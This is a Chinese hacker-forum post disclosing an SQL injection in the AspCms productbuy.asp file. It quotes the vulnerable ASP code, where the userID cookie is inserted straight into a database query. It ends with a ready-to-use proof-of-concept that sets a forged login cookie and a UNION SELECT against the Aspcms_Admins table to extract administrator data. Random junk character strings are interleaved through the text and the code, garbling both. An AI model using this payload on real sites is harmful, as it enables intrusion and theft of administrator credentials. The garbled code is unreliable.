好久没上土司了,上来一看发现在删号名单内.....7 T; [1 `- {5 Z+ O- @
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。# H$ l$ R/ V9 B b# P
废话不多说,看代码:
" p, [' ?+ Q b) S! n% p. |( H) Q
* Y, F* T3 B4 H, f0 t V; m<%
) ^( s: t4 Z' v( b
7 F5 `+ s; I# g: D' Wif action = "buy" then
4 P+ G+ P5 ~1 m$ x5 c! Y4 X2 S p; q
addOrder()
* j7 I& Z7 P: O) U; m- I) S2 [+ M) g2 i! f% V' ~
else
0 i2 f! H7 N: _- M9 C
1 ?4 b9 j) I- @' J8 d echoContent()
) o( I/ Y$ g- S+ ]! T0 K+ B
, \/ G7 E% x5 S9 r+ R" s3 ]end if+ r" x! t! X R" S
- ?" r/ ~% d! ?3 A; v' t- f7 |; [
, ^8 [- @; _3 _% i/ ]
6 z5 K3 h" `- R6 Y: M% T0 n2 @……略过
4 q. s1 ]; e% p( I: r7 n1 Q
: ^4 C: C( T4 P4 B r. W. X+ W
" R- F) Q( \+ E' R+ H, }
: Z. `8 k! n" ~3 i* vSub echoContent(); M- j+ Y3 ?* U3 k3 B+ d
/ v$ {+ X. o& k* `( ]6 o2 i dim id
, |1 J7 l' C/ s) X7 ?$ G M1 p
W6 ~8 x6 h* g" g6 B id=getForm("id","get")
6 A! E$ t l8 Z% A
% G8 X% G5 C+ [& Q % u. _- ^0 K$ d( ?* {
* r: u+ `( [8 z' a; z6 _ if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
3 b3 m/ Y0 a) z5 l. d( ]
" H& H, {% P: d8 J! D4 h
2 x: v" b- [) ?( \6 W g/ r" ~9 e. y
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- `3 O0 D! E1 y0 {! S; A# A! I! U: l' |: t# t% T
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct2 T4 Q7 V2 x& _* v, O3 S h
2 r# k7 n) Z# F: W
Dim templatePath,tempStr- p; s! t7 O8 B4 C4 q) V
+ s4 r( z- S2 t% G& u* m templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"" p. x1 h% d9 q+ X, P8 g
4 T4 W. A: p7 A! ^" R5 o! A* `% E/ ~
( ^9 w2 [4 T, e; v6 `( ~& k
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")- M+ p$ `, r3 d* g# k! F
4 E/ N6 x5 _( v/ Z+ B selectproduct=rsObj(0)
3 _/ H( @6 Z4 L! _2 L/ v: g) K1 h
: \6 S5 ?: d6 S$ Y9 z
* ?% `* A' ~2 n+ B7 a2 X# b Dim linkman,gender,phone,mobile,email,qq,address,postcode
; g9 o1 ~* r. j! |/ R9 H. `+ O/ R! i# T3 S g, x5 |
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0% t0 l* K2 l2 a# j0 s
7 ?' f: [, x4 U5 V
if rCookie("loginstatus")=1 then x$ g' u5 |! v& Z2 {! S/ L
7 P" ?, y* K' s' t- c9 N4 Y: y
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
1 A4 ]) R4 s" A. ~5 X5 m G' D" G6 A' r/ c1 b @. }
linkman=rsObj("truename")' R* O! }# `4 | {" k
7 g$ P1 C5 S9 C2 Z
gender=rsObj("gender")) U1 B! J% m# n1 R
8 }! u$ P. ` ~1 a
phone=rsObj("phone")
" A, U. |* X# ~8 w( d l) `0 P4 v/ [$ J( |) Q( j) h& G d& g) K
mobile=rsObj("mobile")6 c7 o6 f+ @# g; u2 b& p6 R, w6 }
! ?" C7 |3 l( F1 K8 q2 E% D email=rsObj("email")
2 l, |6 [0 n' i8 U7 d
* t7 o: d, ?. }. \7 }+ S/ S. T3 a qq=rsObj("qq"): C+ s1 i) H& C6 l, y. Z, q
" M" y0 l! t$ L5 F address=rsObj("address")# ~( B* _1 k5 `1 X- T, R% a
* k" }, C, m) _ Y0 A3 A m postcode=rsObj("postcode")
2 q! A6 h" r4 F0 r1 |
5 r+ O2 a' p( ~3 T5 l else & E9 O3 f" N2 P
6 A) x1 a% Q4 ^ gender=18 r0 z$ Y$ \/ T) h- P- y
2 @$ s" s" N8 x6 L end if
: Z; l \7 j# L9 V
# e: C7 G7 }9 W rsObj.close()
; w; a- |3 `6 r" b6 q) b0 O* i! G3 }3 d0 ` C* b* b% c9 J
& V9 N$ x4 D+ F0 `9 U( u
* O* U0 s6 ^2 g2 Z* h" r with templateObj , M9 L! J( P) i
$ z3 D! m! H7 p2 V" N3 G; \ .content=loadFile(templatePath) 2 ~" p& v7 t+ U6 B `( L0 A" Q
) }3 R- @2 A+ e. B7 L& K
.parseHtml()
% R0 ~6 ? }/ v- O Y" q3 M
7 _+ C7 e& M [% ]% [3 ^ .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
" @* F- T+ Z8 o0 c. s4 ^
) O% g' O9 l9 z% T2 e .content=replaceStr(.content,"[aspcms:linkman]",linkman) ' U' o5 k! h0 A3 c4 y ~
2 C+ c7 }/ k- z9 S& |3 S# M# L$ y .content=replaceStr(.content,"[aspcms:gender]",gender)
+ ~' n* X: ^* R' z
% _1 A6 Q ]* \ .content=replaceStr(.content,"[aspcms:phone]",phone) % a% u7 J; Q Y# R- G
( l$ w0 \* ~. A6 x% k0 U- Z* [/ A! ^ .content=replaceStr(.content,"[aspcms:mobile]",mobile) : `1 y8 J+ N0 V6 O! h7 B
- I% Z0 O4 }' L' L .content=replaceStr(.content,"[aspcms:email]",email)
! O2 ?# c4 [! y# t/ g. R+ z" @6 C6 V% \' ^% B6 a$ V
.content=replaceStr(.content,"[aspcms:qq]",qq)
' L) m1 n n8 Q4 c R; K8 o; L, x0 ~7 }; w0 j: u7 Y
.content=replaceStr(.content,"[aspcms:address]",address) : `- w2 s) E& z3 v% N
$ `1 a& ~3 x9 N2 {" P .content=replaceStr(.content,"[aspcms:postcode]",postcode) 8 n. B$ d! Z1 Q$ P* m2 X
5 Z4 |1 A) W1 _( G2 t5 S) m" r
.parseCommon()
5 A! J+ k4 {! f& ?9 I. |! I
) P H! ]$ Y: l: w3 x& _: @. c1 S echo .content
8 x: a& @' e; t/ ^/ [* _/ j2 O! j# W2 V- [/ m9 m
end with7 l$ t: \2 U+ w8 A
: {; S1 ~ |; S( [* \- p/ {2 e- k+ a set templateobj =nothing : terminateAllObjects% N6 o. N/ [0 z
* M2 A2 |( y6 V6 tEnd Sub
' D+ G- m1 E9 F& ~漏洞很明显,没啥好说的
" Q0 X ^9 p; mpoc:0 s4 @/ r; H; K' `+ E1 i" {
/ ^9 n& m. I/ J, e2 |/ }# ^
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子' X, [' i' q1 }6 c- N
7 c! @% \7 _, k9 G9 Q+ l
|